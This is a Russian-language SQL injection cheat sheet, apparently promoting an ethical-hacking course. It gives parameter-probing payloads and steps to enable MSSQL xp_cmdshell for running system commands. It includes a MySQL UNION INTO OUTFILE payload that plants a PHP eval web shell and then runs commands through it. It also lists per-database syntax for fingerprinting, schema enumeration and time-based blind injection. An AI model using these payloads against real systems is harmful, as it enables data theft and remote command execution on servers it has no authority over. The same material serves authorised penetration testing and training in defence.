Шпаргалка по SQL-инъекциям (памятка по SQLi)

Памятка по SQL-инъекциям

Выделяют два вида SQL Injection:

1) SQL Injection в строковом параметре


Примеры:


SELECT * from table where name = "$_GET['name']"

SELECT id, acl from table where user_agent = '$_SERVER["HTTP_USER_AGENT"]'


2) SQL Injection в цифровом параметре


Примеры:


SELECT login, name from table where id = $_COOKIE["id"]

SELECT id, news from table where news = 123 limit $_POST["limit"]

Примеры тестирования функций для http://site/?param=123

http://site/?param=1'

http://site/?param=1"

http://site/?param=1 order by 1000

http://site/?param=1'--

http://site/?param=1'/*

http://site/?param=1'#

http://site/?param=1 AND 1=1--

http://site/?param=1 AND 1=2--

http://site/?param=1' AND '1'='1

Выполнение SQL-команд на сервере

Различия СУБД

Шпаргалка по SQL-инъекциям

Пример для MSSQL:


EXEC xp_cmdshell 'ipconfig /all';


Для использования xp_cmdshell в MSSQL >= 2005 необходимо выполнить:


EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;


Пример для MySQL:


Запись web-shell в файл /www/img/shell.php:


/?id=1+union+select+'<?eval($_request[shell]);?>'+into+outfile+'/www/img/shell.php'


Выполнение команд на сервере:


/img/shell.php?shell=passthru('ls');

Конкатенация строк

Вы можете объединить несколько строк в одну.


ORACLE:


'foo'||'bar'


MICROSOFT:


'foo'+'bar'


POSTGRESQL:


'foo'||'bar'


MYSQL:


'foo' 'bar'


CONCAT('foo','bar')

Подстрока

Вы можете извлечь часть строки из указанного смещения с указанной длиной. Обратите внимание, что индекс смещения отсчитывается от 1. Каждое из следующих выражений вернет строку 'ba'.


ORACLE:


SUBSTR('foobar', 4, 2)


MICROSOFT:


SUBSTRING('foobar', 4, 2)


POSTGRESQL:


SUBSTRING('foobar', 4, 2)


MYSQL:


SUBSTRING('foobar', 4, 2)

Комментарии

Вы можете использовать комментарии, чтобы усечь запрос и удалить часть исходного запроса, которая следует за вашим вводом.


ORACLE:


--comment


MICROSOFT:


--comment


/*comment*/


POSTGRESQL:


--comment


/*comment*/


MYSQL:


#comment


-- comment [Обратите внимание на пробел после двойного тире]


/*comment*/

Версия базы данных

Вы можете запросить базу данных, чтобы определить ее тип и версию. Эта информация полезна при формулировании более сложных атак.


ORACLE:


SELECT banner FROM v$version


SELECT version FROM v$instance


MICROSOFT:


SELECT @@version


POSTGRESQL:


SELECT version()


MYSQL:


SELECT @@version

Содержимое базы данных

Вы можете перечислить таблицы, существующие в базе данных, и столбцы, которые эти таблицы содержат.


ORACLE:


SELECT * FROM all_tables


SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'


MICROSOFT:


SELECT * FROM information_schema.tables


SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'


POSTGRESQL:


SELECT * FROM information_schema.tables


SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'


MYSQL:


SELECT * FROM information_schema.tables


SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Задержки во времени в SQL

Вы можете вызвать задержку по времени в базе данных при обработке запроса. Следующее вызовет безусловную задержку времени 10 секунд.


ORACLE:


dbms_pipe.receive_message(('a'),10)


MICROSOFT:


WAITFOR DELAY '0:0:10'


POSTGRESQL:


SELECT pg_sleep(10)


MYSQL:


SELECT sleep(10)

Условные задержки в SQL

Вы можете протестировать одно логическое условие и активировать временную задержку, если условие истинно.


ORACLE:


SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual


MICROSOFT:


IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'


POSTGRESQL:


SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END


MYSQL:


SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

Курс по этичному хакингу: cyberden.pw/kurs

Сайт нашей команды: cyberteam.tech/pentest

TG-канал: https://t.me/cyberden_team


hack@cyberden.pw